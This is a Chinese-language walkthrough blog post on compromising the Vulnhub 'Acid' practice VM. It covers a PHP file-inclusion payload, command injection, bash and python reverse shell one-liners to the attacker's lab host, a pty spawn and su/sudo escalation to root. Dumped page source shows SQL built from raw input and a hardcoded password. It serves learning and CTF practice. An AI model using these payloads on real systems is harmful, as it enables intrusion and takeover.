Acid靶机渗透

Acid渗透靶机实战

攻击机:kali 192.168.41.147

靶机: acid 192.168.41.149

信息收集

  • ip发现

开启Acid靶机,通过nmap进行局域网存火主机扫描.
![](https://img2018.cnblogs.com/blog/1357258/201907/1357258-20190725111009774-877137553.png)

  • 端口扫描

通过nmap进行端口扫描,因为nmap默认是扫描1000个端口,发现没有开放服务。于是我设置了端口为全端口1-65535



目标主机在33447开了http服务,web服务器是Apache/2.4.10 系统是 Ubuntu ,没有发现cms指纹

开始渗透实战

首先利用dirsearch扫描下网站目录,同时进入网站 http://192.168.41.149:33447/ 看看有没有可以值得利用的地方

查看网页源代码,发现一串16进制的数,转化成字符=> d293LmpwZw==, base64在转化=> wow.jpg


有/images/目录,进入网站的images目录发现403,呢么加个/wow.jpg看看

保存图片到本地,查看有没有隐藏什么信息,直接用winhex打开。发现有一些特别的数字,看着像16进制。txt是个好东西,直接拖进txt里,然后替换:为空

转为字符串解出来是一串7aee0f6d588ed9905ee37f16a7c610d4,看着像md5,拿着去解一下

disbuster fuzz

到这就没思路了,接下来该怎么搞,看WP是用dirbuster爆破出来的challenge目录,我的dirrsearch不行啊,煞笔了,网站标题就是/Challenge
百度了下dirbuster的fuzz 目录的用法,fuzz下/Challenge目录下的php文件

找到了**cake.php,include.php,error.php,index.php,hacked.php**

我们先进入Chanllenge目录主页看下,有种似曾相识的感觉,在领航杯的第一次AWD那年,碰到的主页一样

在main.css中找到这几句话
>>>Conclusion:
Through Login/Logout form it becomes easy to deal with sessions in PHP. Hope you like it, keep reading our other blogs.
Comments and Responses
Your email address will not be published. Required fields are marked *
那就让我们去寻找下别的点

cake.php

查看源码中,出现了/Magic_Box的字样,估计是个目录

hacked.php

并没有发现什么东西

error.php

同样,什么东西都没有发现

include.php

看文件名,就知道可能跟文件包含有关系。果然,直接给了个文件包含的页面


当输入index.php时,发现页面会重叠index.php的画面,看来是直接包含了,而不是进入包含的页面,并且url参数有可以利用的点,让我们来用php伪协议来看看源码
payload: http://192.168.41.149:33447/Challenge/include.php?file=php://filter/read=convert.base64-encode/resource=index.php&add=Extract+File
页面一闪而过,可以bp抓包查看,确实以base64编码格式读取了index.php的源码

index.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
sec_session_start();
$_SESSION['index_page']=time();

if (login_check($mysqli) == true) {
$logged = 'in';
} else {
$logged = 'out';
}
?>
<!DOCTYPE gkg.qvpn html>
<html>
<head>
<title>Secure Login: Log In</title>
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<script type="text/JavaScript" src="js/sha512.js"></script> 
<script type="text/JavaScript" src="js/forms.js"></script>

</head>
<body>
<div class="wrapper">
<div class="container">
<h1>Welcome to Hell</h1>
<?php
if (isset($_GET['error'])) {
echo '<p class="error">Error Logging In!</p>';
}
?> 
<form action="includes/process_login.php" method="post" name="login_form"> 
Email: <input type="text" placeholder="Email Address" name="email" maxlength="20" />
Password: <input type="password" placeholder="Password" name="password" id="password"/>
<input type="submit" value="Login" οnclick="formhash(this.form, this.form.password);" /> 
</form>
</div>
<p>You are currently logged <?php echo $logged ?>.</p>
<ul class="bg-bubbles">
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>

<script src="js/index.js"></script>

</body>
</html>

再看下别的页面

hacked.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';

sec_session_start();

if (!isset($_SESSION['protected_page'])){
header('Location: protected_page.php');
exit;
}
if (!isset($_SESSION['index_page'])){
header('Location: protected_page.php');
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>Try to Extract Juicy details</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<?php
if(isset($_REQUEST['add']))
{
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'mehak';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('Could not connect: ' . mysql_error());
}

$id = $_POST['id'];
$sql = "SELECT * FROM members WHERE ID = (('$id'))";
mysql_select_db('secure_login');
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
die('Could not enter data: ' . mysql_error());
}
echo "You have entered ID successfully...Which is not a big deal :D\n";
mysql_close($conn);
}
?>
<p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br> 
<form method="get" action="<?php $_PHP_SELF ?>">
Enter your ID:<input name="id" placeholder="id" type="text" id="id" maxlength="20">
<input name="add" type="submit" id="add" value="Add ID">

</body>
</html>
cake.php
<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';
?>

 

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="styles/main.css" />
<title>/Magic_Box</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<p><h1><font color='Red'>Ah.haan....There is long way to go..dude :-)</h1></font><br><font color='Green'>Please <a href="index.php">login</a></f$
</body>
</html>
<?php

/* Come on....catch this file "tails.php" */
?>

 看到hacked.php中,当两个session都有时候才会继续下面的内容,只有当你进入,index.php和protected_page之后,访问hacked.php,才会出现如下页面

好像没啥用啊?把之前找的md5密码拿出来填进去,以为会发现什么有趣的事,结果跟没啥用的页面。

然后发现cake.php最后一行中,有提示tails.php,尝试进入,发现not found,include试试看,也是个302跳转到protected_page(被耍了吗,我去)

然后还是回到原来,发现的Magic_box目录,用dirbuster来fuzz下目录文件

Command injection

发现了一个command.php页面,估计是直接命令执行的页面,我们可以直接反弹个shell,然后找一下真正的flag(我发现了,普通的字典是跑不出来的,OWASP里的字典才行)

命令执行成功,这里可以用; 或者&和|,都可以执行,但是记得urlendoce下,因为是特殊符号,需要url编码,不然可能不会执行

 

尝试反弹shell,kali,nc监听9090端口,nc -lvvp 9090

>>payload:bash -i >& /dev/tcp/192.168.41.147/9090 0>&1     失败

>>payload:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.41.147',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"    成功反弹shell

 

 

 提权

然后看一下/etc/passwd,查找一些有用的信息.

发现有两个用户能登陆并且能操作终端

 emmmmm,然后不会了,看了WP,不会提权啊,自己尝试百度找找su提权的东西

知识点如下

  • sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
  • su:      切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制
  • sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
  • sudo -i 直接运行sudo命令加-i参数
    sudo su 运行sudo命令给su命令提权,运行su命令。
    sudo -i 运行结果 PWD=/root
    sudo su 运行结果 PWD=/home/用户名(当前用户主目录)

也就是我们需要su到一个普通用户,只要知道用户密码,可以通过sudo-i,直接提权至root用户。

但是,su命令前提需要一个终端,需要的是一个终端设备输入密码,但是我们反弹shell的真是一个标准输入样子的。

我们可以用python命令生成一个虚拟的终端( Python -c 'import pty;pty.spawn("/bin/sh")' )

 

OK,su命令可以用了,接下来就是提权到acid后者saman,再sudo -i 提权到root用户

但是su 到任意用户,我们都需要这个用户的密码,我们才能登陆

shadow是真正保存密码的地方,但是我们啥权限都没有---,很悲催,所有者为root,且shadow组下的用户才有查看的权限

到这里好像就走不下去了,偷瞄一眼WP。

接下来我们可以查看下相关用户的文件,利用find / -user 命令

命令:find / -user acid  2>/dev/null                    解释下: 2>/dev/null   2再ilnux中的意思是标准错误,/dev/null指空设备,即将标准错误重定向到空设备=>不会报错,显错

 

不加的话,就会提示错误信息,没有权限等等,这样反而给我们阅读造成困扰,本来就没权限的,还需要你再告诉一遍嘛(下面还一堆错误信息?)

 

舒服多了,我们来找下有没有什么可以利用的文件

很贴心,第一行就告诉了我们?,尝试用wireshark读取查看,xx,这怎么看,人家有没装wireshark,又触及到我的知识盲区,瞄一眼WP

利用scp命令进行Linux之间复制文件和目录(基于ssh登陆的安全的拷贝文件命令)

命令格式 :

scp local_file remote_username@remote_ip:remote_file 

scp root@www.runoob.com:/home/root/others/music /home/space/music/1.mp3

wireshark分析下,找了半天,都是些乱四八糟的协议,snmp,arp协议等等,索性直接搜索http和tcp流看看

可以发现,这像是一个聊天会话并且关于saman用户的,而且貌似出现了密码吧?1337hax0r,此前在一个command.php页面也有

成功提权至saman用户,接下来就可以直接sudo -i 提升至root用户

成功提权至root用户

 

知识点:dirbuster fuzz,命令执行,反弹shell,python命令生成虚拟终端,su,sudo提升权限

命令执行: ; , & , | 绕过

python命令生成交互终端:Python -c 'import pty;pty.spawn("/bin/sh")'

su:切换用户,需要知道密码

sudo:是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。不是所有用户都可以用sudo -i 直接升为root,而是再/etc/sudoers中指定哪些用户可以用sudo命令

简单学习下linux中的权限问题:

 

 比如: rwxr-xr-x  5 root root  94 Jun 27 2017 xdg   三个为一组

rwx:代表文件所有者(u表示)权限,这里是root,root对该文件拥有读写执行权限

r-x :  代表所属组(g表示)的权限,这里所属组拥有对该文件读和执行的权限

r-x :  代表其他人(o表示)的权限,这里和上面权限一样

所以平常大家都希望看到的777,就是rwx,拥有读写执行的权限?

 

并非独立完成,参考了他人的锻炼记录

学习资料: Acid:https://www.360zhijia.com/anquan/372977.html  (内附Acid靶机,其他靶机可在Vulnhub下载)

       Linux /etc/passwd详解https://blog.csdn.net/zyy1659949090/article/details/88176215

                 Linux 权限详解https://www.cnblogs.com/songgj/p/8890710.html

零零散散的百度知识就不附上了

转载于:https://www.cnblogs.com/BOHB-yunying/p/11293862.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值